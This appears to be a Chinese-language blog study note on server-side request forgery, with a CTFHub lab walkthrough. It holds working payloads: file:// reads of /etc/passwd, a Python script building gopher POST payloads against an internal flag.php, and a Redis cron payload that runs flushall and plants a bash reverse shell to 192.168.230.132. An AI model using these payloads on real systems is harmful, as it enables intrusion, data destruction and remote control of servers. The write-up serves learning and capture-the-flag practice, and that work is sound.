SSRF 学习

· 1813 words · 4 minute read

漏洞成因 🔗

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞。由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。

SSRF漏洞成因多是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者可以自由构造参数,而发起预期外的请求。

漏洞寻找 🔗

SSRF漏洞一般出现在有调用外部资源的场景中,可以尝试是否能控制、支持常见的协议:

1.http/s://:可用来探测内网主机端口,访问内网web应用.如?url=http://127.0.0.1/flag.php

  1. file://:从文件系统中获取文件内容,如file:///etc/passwd

  2. dict://:字典服务器协议,可以获取目标服务器上运行的服务版本等信息、进行端口扫描、操作内网redis服务等。如url=dict://127.0.0.1:6379/info

  3. gopher://:分布式的分档传递服务,可实现向指定服务器上发送HTTP请求,MYSQL请求等。

  • **构造HTTP数据包:**由于Gopher协议是通过TCP直接传输数据,因此需要对HTTP请求报文中的特殊字符进行URL编码,以确保数据在传输过程中不会被误解或截断。特别是回车(\r)和换行(\n)字符,需要分别编码为%0D和%0A

使用如下python脚本生成标准格式的gopher协议:

import urllib.parse

payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

注意:POST、Host、Content-Type和Content-Length这四个参数是POST请求必须有的,且发送gopher协议, 协议后的IP一定要接端口。

因为urllib.parse.quote()会将换行编码为%0A,而在gopher协议中,进行URL编码,会将回车换行编码为%0d%0a,所以,第二步使用replace()将%0A替换为%0D%0A。接下来,拼接上gopher协议的标准格式,最后再使用一次urllib.parse.quote()对新增的部分进行URL编码。因为新增的部分不是POST数据包的内容,所以也就不存在回车换行,也就不需要将%0A替换为%0D%0A。

标准gopher协议的格式如下:

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A

ctfhub post请求

打开题目发现url有参数,传file:///var/www/html/flag.php得到一个输入框,查看源码得到key值

alt text

将key值放入框中,出现提示:

alt text

再利用file协议查看index.php和flag.php

?url=file:///var/www/html/index.php ?url=file:///var/www/html/flag.php

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

尝试利用gopher协议向服务器发送POST包

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=e44000403effca8e2d978adb5027d0e9

对构造的请求包进行两次url编码

第一次编码:

alt text

注意要把 %0A全部替换为%0D%0A ,替换如下:

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Akey%3De44000403effca8e2d978adb5027d0e9

再进行二次编码得到:

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253De44000403effca8e2d978adb5027d0e9

通过index.php页面中的curl发送POST请求

payload:

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253De44000403effca8e2d978adb5027d0e9

得到flag:

alt text

  1. RESP协议:一种用于Redis数据库的通信协议。

基本格式:

  • 简单字符串(Simple String):以"+“开头,后面跟着一个字符串。

  • 错误信息(Error):以”-“开头,后面跟着一个错误信息字符串。

  • 整数(Integer):以”:“开头,后面跟着一个整数。

  • 批量字符串(Bulk String):以”$“开头,后面跟着一个数字表示字符串的长度,然后是一个字符串。

  • 数组(Array):以”*“开头,后面跟着一个数字表示数组的长度,然后是一个或多个RESP对象。

*1
$8
flushall
$64
*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1

*n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成 $n代表着该字符串有 n 个字符

可以参考这个:https://blog.csdn.net/wangshuai6707/article/details/132742584

相关危险函数 🔗

SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有:

  1. file_get_contents() :获取文件内容。

  2. fsockopen() :实现对用户指定url数据的获取。

  3. curl_exec():执行指定的cURL会话。

[https://blog.csdn.net/Javachichi/article/details/136038627] [https://www.cnblogs.com/sdgfsdgfsd/p/13332146.html]

comments powered by Disqus